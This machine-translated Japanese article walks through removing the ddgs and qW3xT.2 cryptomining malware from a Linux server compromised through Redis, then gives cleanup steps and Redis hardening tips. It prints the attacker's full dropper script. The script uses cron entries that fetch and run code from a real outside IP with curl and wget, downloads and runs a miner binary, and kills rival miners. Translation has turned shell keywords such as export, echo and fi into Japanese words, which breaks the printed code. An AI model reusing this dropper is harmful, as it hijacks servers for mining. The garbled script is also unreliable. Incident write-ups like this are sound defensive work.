Linux サーバーに埋め込まれた ddgs および qW3xT.2 マイニング ウイルスの対処の実践記録

Linux サーバーに埋め込まれた ddgs および qW3xT.2 マイニング ウイルスの対処の実践記録

序文

仮想通貨の狂気的な投機により、マイニングウイルスは犯罪者が最も頻繁に使用する攻撃方法の 1 つになりました。ウイルス拡散者は、パソコンやサーバーを使用してマイニングを行う可能性があります。具体的な現象としては、コンピューターの CPU 使用率が高くなる、C ドライブの空き容量が急激に減少する、コンピューターの温度が上昇する、ファンの騒音が増加するなどの問題があります。

この記事では、Linuxに埋め込まれたDDGSとqW3xT.2マイニングウイルスの処理方法を主に紹介します。詳細な紹介を見てみましょう。

侵略後の現象:

2 つの異常なプロセス (qW3xT.2 と ddgs) が見つかりました。これらのプロセスは CPU を大量に消費し、強制終了された後しばらくして再び現れました。

これら 2 つの異常なプロセスを終了した後、しばらくすると次のプロセスが見られました。

まず、/etc/sysconfig/crotnab 内のスケジュールされたタスクでスケジュールされたスクリプトが見つからなかったため、crontab -e を入力してスケジュールされたタスクを見つけました。

*/5 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh
<span style="font-size: 15px;">149.56.106.215 が米国内にあることを確認しました。i.sh スクリプトの内容は次のとおりです。</span>
エクスポート PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
エコー "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
 wget -q http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -O /tmp/ddgs.3013
 curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
フィ
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

治療方法:

1. crontab -eを削除する

*/5 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh

2. ハッカーが/root/.ssh/authorized_keysに設定したパスワードなしのログインコンテンツをクリアする

3. Redisのパスワードを変更する

4. ルートとログインアカウントのパスワードを変更する

安全のヒント:

1. Redisサーバーに接続できるIPを制限するためのbindオプションを設定し、Redisのデフォルトポート6379を変更し、認証、つまりAUTHを設定し、パスワードを設定します。パスワードはRedis設定ファイルにプレーンテキストで保存されます。

2. 名前変更コマンドの設定項目「RENAME_CONFIG」を設定すると、不正アクセスがあった場合でも、攻撃者がconfigコマンドを使用するのが難しくなります。

3. ファイアウォールでRedisの外部ネットワークをブロックできる場合

侵入方法:

関連情報を収集した結果、ハッカーは Redis の脆弱性を利用して侵入したことが判明しました。パスワードが設定されていなかったか、パスワードが単純すぎたのです。具体的な方法については、

https://www.jb51.net/article/147375.htm

reids パスワードの変更方法は次のとおりです。

redis-cli -h 127.0.0.1 -p 6379
config get requirepass ##現在のパスワードを取得します。 config set requirepass "yourpassword" ##現在のパスワードを設定します。サービスが再起動されると、デフォルト、つまりパスワードなしに設定されます。

永続的にするには、redis 構成ファイル redis.conf を開き、requirepass 値を見つけて、次のようにパスワードを変更します。

requirepass yourpassword ##行の前にスペースを入れないでください

要約する

上記はこの記事の全内容です。この記事の内容が皆さんの勉強や仕事に一定の参考学習価値を持つことを願っています。ご質問があれば、メッセージを残してコミュニケーションしてください。123WORDPRESS.COM を応援していただきありがとうございます。

以下もご興味があるかもしれません:
  • バッチ処理でポート135、137、445などを閉じる実装コード(ランサムウェアウイルス)
  • VBS スクリプトウイルスのウイルス原理の分析
  • PHP ウェブウイルス除去クラス
  • VC によって実装されたウイルスキラーツールの完全な例
  • DOSコマンドを使用してUSBウイルスと戦い、USBデータを保護する
  • USB ディスクウイルスを駆除する自家製バッチコード
  • C ウイルスプログラムの原理分析 (ウイルスを防ぐための C 言語の小さなウイルスの例)
  • 分析: 悪意のあるウイルスコードが挿入されたSQL文をクリアする
  • 自動実行ウイルス除去ツール bat コード
  • VBS.Runauto スクリプトウイルス分析
  • ウイルスがよく使用するVBSコード
  • Notepad.exe ウイルスを検出して駆除する方法
  • 美容ゲームウイルス iwbkvd.exe を検出して駆除する方法
  • バッチ自動実行ウイルス除去ツール
  • ルートキットウイルスソリューション

<<:  MySQL の大きなデータ テーブルにフィールドを追加する方法

>>:  SQL GROUP BYの詳細な説明と簡単な例

推薦する

CentOS 6.5 に MySQL 5.6 をインストールするチュートリアル

1. Linuxに対応するRPMパッケージをダウンロードする5.6 より前のバージョンhttp://...

nohup /dev/null 2>&1 の使い方の詳しい説明

nohup コマンド: プロセスを実行しており、アカウントからログアウトしてもプロセスが終了しないと...

角度でechartsマップを使用する詳細な説明

目次echartの初期化アプリベースチャートコンポーネントhtml CS app-base-char...

Docker が MySQL イメージをプルするのが遅すぎる問題を解決する

Docker を使用して MySQL イメージをプルしようとして 30 分経っても失敗したため、代わ...

ウェブページのテーブルの境界線を設定する方法

<br />前回は、Web テーブルにセルの線を設定する方法を学びました。今日は、Web...

Xiaomi公式サイトの登録・ログイン機能を模倣するJavaScript

目次まずページレイアウトを構築する必要がありますJS関数1 JS関数2 JS関数3 JS関数4効果図...

Vueはページキャッシュ機能を実装する

この記事の例では、ページキャッシュ機能を実装するためのVueの具体的なコードを参考までに共有していま...

MySQL実践スキル: 2つのテーブルに異なるデータがあるかどうかを比較する方法の分析

この記事では、MySQL が 2 つのテーブルを比較して、異なるデータがあるかどうかを確認する方法を...

innerHTML を理解する

<br />関連記事: innerHTML HTML DOM insertRow() メ...

このような大画面のデジタルスクロール効果が必要になる場合があります

大画面のデジタル スクロール効果は、最近の作業における大画面 UI ダイアグラムから生まれました。U...

CSS 動的読み込みバー効果のサンプルコード

CSS変数の知識を使って、追加したコードとコメントを直接投稿します <!DOCTYPE htm...

nginx ssl を設定して https アクセスを実装する手順 (初心者向け)

序文サーバーを展開した後、私は大きな喜びを感じながら自分の Web サイトにアクセスし、見たものすべ...

JavaScript ベースのランダム点呼システムの実装

この記事では、ランダムロールコーラーを実装するためのJavaScriptの具体的なコードを参考までに...

Nginx は rtmp ライブ サーバーの実装コードを構築します

1. nginxソースディレクトリに新しいrtmpディレクトリを作成し、git clone http...

iframe を通じて DOM 要素のサイズ変更を監視する

開発プロセス中によく発生する問題は、div のサイズ変更をどのように監視するかということです。たとえ...